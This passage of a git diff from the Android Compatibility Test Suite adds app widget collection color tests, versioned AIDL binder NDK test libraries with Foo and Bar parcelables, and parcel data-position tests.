+        ListView listView = mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+        verifyColor(listView.getChildAt(0), Color.WHITE);
+        verifyColor(listView.getChildAt(1), Color.WHITE);
+        verifyColor(listView.getChildAt(2), Color.WHITE);
+    }
+
+    @Test
+    public void testCollection_dark() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+        mActivity.runOnUiThread(() -> mAppWidgetHostView.setOnLightBackground(true));
+
+        setupAndAwaitCollectionWidget();
+
+        // Perform click on various elements
+        ListView listView = mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+        verifyColor(listView.getChildAt(0), Color.BLACK);
+        verifyColor(listView.getChildAt(1), Color.BLACK);
+        verifyColor(listView.getChildAt(2), Color.BLACK);
+    }
+
+    private void setupAndAwaitCollectionWidget() throws Throwable {
+        // Configure the app widget service behavior
+        RemoteViewsService.RemoteViewsFactory factory =
+                mock(RemoteViewsService.RemoteViewsFactory.class);
+        when(factory.getCount()).thenReturn(3);
+        doAnswer(invocation -> {
+            final int position = (Integer) invocation.getArguments()[0];
+            RemoteViews remoteViews = getViewsForResponse();
+            remoteViews.setTextViewText(R.id.hello, "Text " + position);
+            return remoteViews;
+        }).when(factory).getViewAt(any(int.class));
+        when(factory.getViewTypeCount()).thenReturn(1);
+        MyAppWidgetService.setFactory(factory);
+
+        // Push update
+        RemoteViews views = new RemoteViews(mActivity.getPackageName(),
+                R.layout.remoteviews_adapter);
+        Intent listIntent = new Intent(mActivity, MyAppWidgetService.class)
+                .putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, mAppWidgetId);
+        listIntent.setData(Uri.parse(listIntent.toUri(Intent.URI_INTENT_SCHEME)));
+        views.setRemoteAdapter(R.id.remoteViews_list, listIntent);
+        views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
+        views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
+
+        // Await until update
+        getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
+        CountDownLatch updateLatch = new CountDownLatch(1);
+        mActivityRule.runOnUiThread(() -> mAppWidgetHostView.getViewTreeObserver()
+                .addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
+                    @Override
+                    public void onGlobalLayout() {
+                        mAppWidgetHostView.post(this::verifyChildrenAdded);
+                    }
+
+                    private void verifyChildrenAdded() {
+                        ListView listView = mAppWidgetHostView.findViewById(R.id.remoteViews_list);
+                        if (listView == null || listView.getChildCount() != 3) {
+                            return;
+                        }
+                        if (hasText("Text 0", listView.getChildAt(0))
+                                && hasText("Text 1", listView.getChildAt(1))
+                                && hasText("Text 2", listView.getChildAt(2))) {
+                            updateLatch.countDown();
+                        }
+                    }
+
+                    private boolean hasText(String text, View parent) {
+                        ArrayList<View> out = new ArrayList<>();
+                        parent.findViewsWithText(out, text, FIND_VIEWS_WITH_TEXT);
+                        return !out.isEmpty();
+                    }
+                }));
+        updateLatch.await();
+    }
+
+    private RemoteViews getViewsForResponse() {
+        RemoteViews views = new RemoteViews(mActivity.getPackageName(),
+                R.layout.simple_white_layout);
+        views.setLightBackgroundLayoutId(R.layout.simple_black_layout);
+        return views;
+    }
+
+    private void verifyColor(View parent, int color) {
+        Drawable bg = parent.findViewById(R.id.hello).getBackground();
+        assertTrue(bg instanceof ColorDrawable);
+        assertEquals(color, ((ColorDrawable) bg).getColor());
+    }
+
+    /**
+     * Host view which supports waiting for a update to happen.
+     */
+    private static class MyHostView extends AppWidgetHostView {
+
+        final ArrayMap<Predicate<MyHostView>, Runnable> mCommands = new ArrayMap<>();
+
+        MyHostView(Context context) {
+            super(context);
+        }
+
+        @Override
+        public void updateAppWidget(RemoteViews remoteViews) {
+            super.updateAppWidget(remoteViews);
+
+            for (int i = mCommands.size() - 1; i >= 0; i--) {
+                if (mCommands.keyAt(i).test(this)) {
+                    Runnable action = mCommands.valueAt(i);
+                    mCommands.removeAt(i);
+                    action.run();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/binder_ndk/Android.mk b/tests/tests/binder_ndk/Android.mk
index 4bcf128..398bbe4 100644
--- a/tests/tests/binder_ndk/Android.mk
+++ b/tests/tests/binder_ndk/Android.mk
@@ -35,10 +35,16 @@
     libbinder_ndk_test_interface-java \
     nativetesthelper
 
-LOCAL_JNI_SHARED_LIBRARIES := libbinder_ndk_test
+LOCAL_JNI_SHARED_LIBRARIES := \
+    libbinder_ndk_test \
+    libbinder_ndk_test_utilities \
+    libbinder_ndk_test_interface-ndk \
+    libbinder_ndk_test_interface_old \
+    libbinder_ndk_test_interface_new \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_shared
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/AndroidManifest.xml b/tests/tests/binder_ndk/AndroidManifest.xml
index 8876503..d4ab466 100644
--- a/tests/tests/binder_ndk/AndroidManifest.xml
+++ b/tests/tests/binder_ndk/AndroidManifest.xml
@@ -36,6 +36,11 @@
             android:name="android.binder.cts.NativeService$Remote"
             android:process=":native"
             android:exported="true" />
+
+        <service
+            android:name="android.binder.cts.NativeService$RemoteOld"
+            android:process=":native_old"
+            android:exported="true" />
     </application>
 
     <!-- This is a self-instrumenting test package. -->
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 5aa33e8..a196ddd 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -18,37 +18,82 @@
         "test_package/IEmpty.aidl",
         "test_package/ITest.aidl",
         "test_package/RegularPolygon.aidl",
+        "test_package/Bar.aidl",
+        "test_package/Foo.aidl",
     ],
+    versions: ["1"],
 }
 
-cc_library_shared {
-    name: "libbinder_ndk_test",
+cc_defaults {
+    name: "libbinder_ndk_test_defaults",
 
     cflags: [
         "-Wall",
         "-Werror",
     ],
 
-    srcs: [
-        "android_binder_cts_NativeService.cpp",
-        "test_ibinder.cpp",
-        "test_ibinder_jni.cpp",
-        "test_native_aidl_client.cpp",
-        "test_parcel.cpp",
-        "test_status.cpp",
-        "utilities.cpp",
-    ],
-
     shared_libs: [
         "liblog",
         "libbinder_ndk",
     ],
     whole_static_libs: ["libnativetesthelper_jni"],
-    static_libs: [
-        "libbinder_ndk_test_interface-ndk",
-    ],
 
     sdk_version: "current",
-    cpp_std: "c++17",
     stl: "c++_static",
 }
+
+cc_library_shared {
+    name: "libbinder_ndk_test_utilities",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: ["utilities.cpp"],
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test_interface_new",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "android_binder_cts_NativeService.cpp",
+    ],
+
+    // Using the up-to-date version of the interface
+
+    shared_libs: [
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_utilities",
+    ],
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test_interface_old",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "android_binder_cts_NativeService.cpp",
+    ],
+    cflags: ["-DUSING_VERSION_1"],
+
+    // Using the frozen version 1 of the interface
+    static_libs: [
+        "libbinder_ndk_test_interface-V1-ndk",
+    ],
+
+    shared_libs: [
+        "libbinder_ndk_test_utilities",
+    ],
+}
+
+cc_library_shared {
+    name: "libbinder_ndk_test",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "test_ibinder.cpp",
+        "test_ibinder_jni.cpp",
+        "test_native_aidl_client.cpp",
+        "test_parcel.cpp",
+        "test_status.cpp",
+    ],
+
+    shared_libs: [
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_utilities",
+    ],
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
new file mode 100644
index 0000000..6a5d253
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
@@ -0,0 +1,7 @@
+package test_package;
+parcelable Bar {
+  String a = "BAR";
+  String b = "BAR2";
+  float c = 4.200000f;
+  int d = 100;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
new file mode 100644
index 0000000..cb1dd28
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
@@ -0,0 +1,9 @@
+package test_package;
+parcelable Foo {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  test_package.Bar d;
+  test_package.Bar e;
+  int f = 3;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
new file mode 100644
index 0000000..2baa52c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/IEmpty.aidl
@@ -0,0 +1,3 @@
+package test_package;
+interface IEmpty {
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
new file mode 100644
index 0000000..c212607
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/ITest.aidl
@@ -0,0 +1,54 @@
+package test_package;
+interface ITest {
+  String GetName();
+  void TestVoidReturn();
+  void TestOneway();
+  int GiveMeMyCallingPid();
+  int GiveMeMyCallingUid();
+  void CacheCallingInfoFromOneway();
+  int GiveMeMyCallingPidFromOneway();
+  int GiveMeMyCallingUidFromOneway();
+  int RepeatInt(int value);
+  long RepeatLong(long value);
+  float RepeatFloat(float value);
+  double RepeatDouble(double value);
+  boolean RepeatBoolean(boolean value);
+  char RepeatChar(char value);
+  byte RepeatByte(byte value);
+  IBinder RepeatBinder(IBinder value);
+  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
+  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
+  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
+  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
+  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
+  String RepeatString(String value);
+  @nullable String RepeatNullableString(@nullable String value);
+  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
+  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
+  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
+  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
+  char[] RepeatCharArray(in char[] input, out char[] repeated);
+  int[] RepeatIntArray(in int[] input, out int[] repeated);
+  long[] RepeatLongArray(in long[] input, out long[] repeated);
+  float[] RepeatFloatArray(in float[] input, out float[] repeated);
+  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
+  String[] RepeatStringArray(in String[] input, out String[] repeated);
+  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
+  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
+  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
+  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
+  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
+  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
+  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
+  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
+  test_package.Foo repeatFoo(in test_package.Foo inFoo);
+  void renameFoo(inout test_package.Foo foo, String name);
+  void renameBar(inout test_package.Foo foo, String name);
+  int getF(in test_package.Foo foo);
+  const int kZero = 0;
+  const int kOne = 1;
+  const int kOnes = -1;
+  const String kEmpty = "";
+  const String kFoo = "foo";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
new file mode 100644
index 0000000..14c6c2e
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
@@ -0,0 +1,6 @@
+package test_package;
+parcelable RegularPolygon {
+  String name = "square";
+  int numSides = 4;
+  float sideLength = 1.000000f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index b4af064..b780f49 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -23,6 +23,8 @@
 
 using IEmpty = ::aidl::test_package::IEmpty;
 using RegularPolygon = ::aidl::test_package::RegularPolygon;
+using Foo = ::aidl::test_package::Foo;
+using Bar = ::aidl::test_package::Bar;
 
 class MyTest : public ::aidl::test_package::BnTest,
                public ThisShouldBeDestroyed {
@@ -287,4 +289,31 @@
     *_aidl_return = in_value;
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
-};
\ No newline at end of file
+#ifndef USING_VERSION_1
+  // All methods added from now on should be within this macro
+  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+    *_aidl_return = 10;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+#endif
+
+  ::ndk::ScopedAStatus repeatFoo(const Foo& in_inFoo, Foo* _aidl_return) {
+    *_aidl_return = in_inFoo;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus renameFoo(Foo* in_foo, const std::string& in_name) {
+    in_foo->a = in_name;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus renameBar(Foo* in_foo, const std::string& in_name) {
+    in_foo->d.a = in_name;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus getF(const Foo& foo, int32_t* _aidl_return) {
+    *_aidl_return = foo.f;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+};
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 1173114..3491f69 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -17,6 +17,7 @@
 
 #include <aidl/test_package/BnEmpty.h>
 #include <aidl/test_package/BpTest.h>
+#include <aidl/test_package/Foo.h>
 #include <aidl/test_package/RegularPolygon.h>
 #include <android/binder_ibinder_jni.h>
 #include <gtest/gtest.h>
@@ -24,7 +25,9 @@
 #include "itest_impl.h"
 #include "utilities.h"
 
+using ::aidl::test_package::Bar;
 using ::aidl::test_package::BpTest;
+using ::aidl::test_package::Foo;
 using ::aidl::test_package::ITest;
 using ::aidl::test_package::RegularPolygon;
 using ::ndk::ScopedAStatus;
@@ -36,6 +39,7 @@
   std::shared_ptr<ITest> iface;
   bool shouldBeRemote;
   std::string expectedName;
+  bool shouldBeOld;
 };
 
 #define iface GetParam().iface
@@ -268,6 +272,46 @@
   EXPECT_EQ("Jerry", defaultPolygon.name);
 }
 
+TEST_P(NdkBinderTest_Aidl, RenameFoo) {
+  Foo foo;
+  Foo outputFoo;
+  ASSERT_OK(iface->renameFoo(&foo, "MYFOO"));
+
+  EXPECT_EQ("MYFOO", foo.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, RenameBar) {
+  Foo foo;
+  Foo outputFoo;
+  ASSERT_OK(iface->renameBar(&foo, "MYBAR"));
+
+  EXPECT_EQ("MYBAR", foo.d.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, GetLastItem) {
+  Foo foo;
+  foo.f = 15;
+  int retF;
+  ASSERT_OK(iface->getF(foo, &retF));
+  EXPECT_EQ(15, retF);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
+  Foo foo;
+  foo.a = "NEW FOO";
+  foo.b = 57;
+  foo.d.b = "a";
+  foo.e.d = 99;
+  Foo retFoo;
+
+  ASSERT_OK(iface->repeatFoo(foo, &retFoo));
+
+  EXPECT_EQ(foo.a, retFoo.a);
+  EXPECT_EQ(foo.b, retFoo.b);
+  EXPECT_EQ(foo.d.b, retFoo.d.b);
+  EXPECT_EQ(foo.e.d, retFoo.e.d);
+}
+
 template <typename T>
 using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
                                               std::vector<T>*, std::vector<T>*);
@@ -448,6 +492,43 @@
                           });
 }
 
+class DefaultImpl : public ::aidl::test_package::ITestDefault {
+public:
+  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+    *_aidl_return = 100; // default impl returns different value
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+};
+
+TEST_P(NdkBinderTest_Aidl, NewMethod) {
+  std::shared_ptr<ITest> default_impl = SharedRefBase::make<DefaultImpl>();
+  ::aidl::test_package::ITest::setDefaultImpl(default_impl);
+
+  int32_t res;
+  EXPECT_OK(iface->NewMethodThatReturns10(&res));
+  if (GetParam().shouldBeOld) {
+    // Remote was built with version 1 interface which does not have
+    // "NewMethodThatReturns10". In this case the default method
+    // which returns 100 is called.
+    EXPECT_EQ(100, res);
+  } else {
+    // Remote is built with the current version of the interface.
+    // The method returns 10.
+    EXPECT_EQ(10, res);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, GetInterfaceVersion) {
+  int32_t res;
+  EXPECT_OK(iface->getInterfaceVersion(&res));
+  if (GetParam().shouldBeOld) {
+    EXPECT_EQ(1, res);
+  } else {
+    // 10000 is the not-yet-frozen version
+    EXPECT_EQ(10000, res);
+  }
+}
+
 std::shared_ptr<ITest> getLocalService() {
   // BpTest -> AIBinder -> test
   std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
@@ -488,22 +569,28 @@
 INSTANTIATE_TEST_CASE_P(LocalNative, NdkBinderTest_Aidl,
                         ::testing::Values(Params{getLocalService(),
                                                  false /*shouldBeRemote*/,
-                                                 "CPP"}));
+                                                 "CPP",
+                                                 false /*shouldBeOld*/}));
 INSTANTIATE_TEST_CASE_P(
     LocalNativeFromJava, NdkBinderTest_Aidl,
     ::testing::Values(Params{
         getNdkBinderTestJavaService("getLocalNativeService"),
-        false /*shouldBeRemote*/, "CPP"}));
+        false /*shouldBeRemote*/, "CPP", false /*shouldBeOld*/}));
 INSTANTIATE_TEST_CASE_P(LocalJava, NdkBinderTest_Aidl,
                         ::testing::Values(Params{
                             getNdkBinderTestJavaService("getLocalJavaService"),
-                            false /*shouldBeRemote*/, "JAVA"}));
+                            false /*shouldBeRemote*/, "JAVA", false /*shouldBeOld*/}));
 INSTANTIATE_TEST_CASE_P(
     RemoteNative, NdkBinderTest_Aidl,
     ::testing::Values(Params{
         getNdkBinderTestJavaService("getRemoteNativeService"),
-        true /*shouldBeRemote*/, "CPP"}));
+        true /*shouldBeRemote*/, "CPP", false /*shouldBeOld*/}));
 INSTANTIATE_TEST_CASE_P(RemoteJava, NdkBinderTest_Aidl,
                         ::testing::Values(Params{
                             getNdkBinderTestJavaService("getRemoteJavaService"),
-                            true /*shouldBeRemote*/, "JAVA"}));
+                            true /*shouldBeRemote*/, "JAVA", false /*shouldBeOld*/}));
+
+INSTANTIATE_TEST_CASE_P(RemoteNativeOld, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getRemoteOldNativeService"),
+                            true /*shouldBeRemote*/, "CPP", true /*shouldBeOld*/}));
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
new file mode 100644
index 0000000..4332c20
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
@@ -0,0 +1,10 @@
+package test_package;
+
+parcelable Bar {
+    String a="BAR";
+    String b="BAR2";
+    float c=4.2f;
+    int d=100;
+    // This field doesn't exist in version 1.
+    String e="HELLO";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
new file mode 100644
index 0000000..8fb53e2
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -0,0 +1,14 @@
+package test_package;
+
+import test_package.Bar;
+
+parcelable Foo {
+    String a="FOO";
+    int b=42;
+    float c=3.14f;
+    Bar d;
+    Bar e;
+    int f=3;
+    // This field doesn't exist in version 1.
+    @nullable String[] g;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index bf9add2..7329271 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -18,6 +18,7 @@
 
 import test_package.IEmpty;
 import test_package.RegularPolygon;
+import test_package.Foo;
 
 // This test interface is used in order to test the all of the things that AIDL can generate which
 // build on top of the NDK.
@@ -92,4 +93,12 @@
     // (specifically for testing out parameters)
     @nullable String[] DoubleRepeatNullableStringArray(
         in @nullable String[] input, out @nullable String[] repeated);
+
+    Foo repeatFoo(in Foo inFoo);
+    void renameFoo(inout Foo foo, String name);
+    void renameBar(inout Foo foo, String name);
+    int getF(in Foo foo);
+
+    // Methods that do not exist in version 1
+    int NewMethodThatReturns10();
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
index 4aef74a..87279a5 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
@@ -278,3 +278,92 @@
       }));
   AIBinder_decStrong(binder);
 }
+
+TEST_F(NdkBinderTest_AParcel, ReturnParcelPosition) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+        size_t position = AParcel_getDataPosition(out);
+        EXPECT_EQ(position, AParcel_getDataPosition(out));
+        EXPECT_OK(AParcel_setDataPosition(out, position));
+        EXPECT_EQ(position, AParcel_getDataPosition(out));
+
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, TooLargePosition) {
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+        EXPECT_OK(AParcel_setDataPosition(out, 0));
+        EXPECT_OK(AParcel_setDataPosition(out, INT32_MAX));
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -1));
+        EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -2));
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+                                 ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, RewritePositions) {
+  const std::string kTestString1 = "asdf";
+  const std::string kTestString2 = "aoeu";
+
+  // v-- position     v-- postPosition
+  // | delta | "asdf" | "aoeu" |
+  //         ^-- prePosition
+  //
+  // uint32_t delta = postPosition - prePosition
+
+  AIBinder* binder = SampleData::newBinder(
+      [&](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+        uint32_t delta;
+        EXPECT_OK(AParcel_readUint32(in, &delta));
+        size_t prePosition = AParcel_getDataPosition(in);
+        size_t postPosition = prePosition + delta;
+
+        std::string readString;
+
+        EXPECT_OK(AParcel_setDataPosition(in, postPosition));
+        EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+        EXPECT_EQ(kTestString2, readString);
+
+        EXPECT_OK(AParcel_setDataPosition(in, prePosition));
+        EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+        EXPECT_EQ(kTestString1, readString);
+
+        EXPECT_EQ(postPosition, AParcel_getDataPosition(in));
+
+        return STATUS_OK;
+      },
+      ExpectLifetimeTransactions(1));
+
+  EXPECT_OK(SampleData::transact(
+      binder, kCode,
+      [&](AParcel* in) {
+        size_t position = AParcel_getDataPosition(in);
+        EXPECT_OK(AParcel_writeUint32(in, 0));  // placeholder
+        size_t prePosition = AParcel_getDataPosition(in);
+        EXPECT_OK(::ndk::AParcel_writeString(in, kTestString1));
+        size_t postPosition = AParcel_getDataPosition(in);
+        EXPECT_OK(::ndk::AParcel_writeString(in, kTestString2));
+
+        size_t delta = postPosition - prePosition;
+        EXPECT_OK(AParcel_setDataPosition(in, position));
+        EXPECT_OK(AParcel_writeUint32(in, static_cast<uint32_t>(delta)));
+
+        return STATUS_OK;
+      },
+      ReadNothingFromParcel));
+
+  AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 3b777ae..4552c0e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -39,6 +39,8 @@
 import test_package.IEmpty;
 import test_package.ITest;
 import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
 
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -136,7 +138,10 @@
         assertEquals(null, mInterface.RepeatNullableBinder(null));
     }
 
-    private static class Empty extends IEmpty.Stub {}
+    private static class Empty extends IEmpty.Stub {
+        @Override
+        public int getInterfaceVersion() { return Empty.VERSION; }
+    }
 
     @Test
     public void testRepeatInterface() throws RemoteException {
@@ -377,4 +382,52 @@
             Assert.assertArrayEquals(value, out2);
         }
     }
+
+    @Test
+    public void testGetLastItem() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        foo.f = 15;
+
+        assertEquals(foo.f, mInterface.getF(foo));
+    }
+
+    @Test
+    public void testRepeatFoo() throws RemoteException {
+        Foo foo = new Foo();
+
+        foo.a = "NEW FOO";
+        foo.b = 57;
+
+        foo.d = new Bar();
+        foo.d.b = "a";
+
+        foo.e = new Bar();
+        foo.e.d = 99;
+
+        Foo repeatedFoo = mInterface.repeatFoo(foo);
+
+        assertEquals(foo.a, repeatedFoo.a);
+        assertEquals(foo.b, repeatedFoo.b);
+        assertEquals(foo.d.b, repeatedFoo.d.b);
+        assertEquals(foo.e.d, repeatedFoo.e.d);
+    }
+
+    @Test
+    public void testRenameFoo() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        mInterface.renameFoo(foo, "MYFOO");
+        assertEquals("MYFOO", foo.a);
+    }
+    @Test
+    public void testRenameBar() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        mInterface.renameBar(foo, "MYBAR");
+        assertEquals("MYBAR", foo.d.a);
+    }
 }
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
index 6b8b9eb..30503e3 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
@@ -26,10 +26,23 @@
 
 public class NativeService extends Service {
     private final String TAG = "NativeService";
+    private final IBinder mBinder;
+
+    private NativeService() {
+        this("binder_ndk_test_interface_new");
+    }
+
+    private NativeService(String libName) {
+        System.loadLibrary(libName);
+        mBinder = getBinder_native();
+    }
 
     // the configuration of these services is done in AndroidManifest.xml
     public static class Local extends NativeService {}
     public static class Remote extends NativeService {}
+    public static class RemoteOld extends NativeService {
+        public RemoteOld() { super("binder_ndk_test_interface_old"); }
+    }
 
     @Override
     public IBinder onBind(Intent intent) {
@@ -37,11 +50,5 @@
         return mBinder;
     }
 
-    private IBinder getBinder() {
-        System.loadLibrary("binder_ndk_test");
-        return getBinder_native();
-    }
     private native IBinder getBinder_native();
-
-    private final IBinder mBinder = getBinder();
 }
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
index 13c75d2..9bc65ee 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
@@ -53,4 +53,9 @@
             InstrumentationRegistry.getTargetContext(), JavaService.Remote.class)
         .get().asBinder();
     }
+    static IBinder getRemoteOldNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.RemoteOld.class)
+        .get().asBinder();
+    }
 }
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 29104b6..0cd785e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -24,11 +24,16 @@
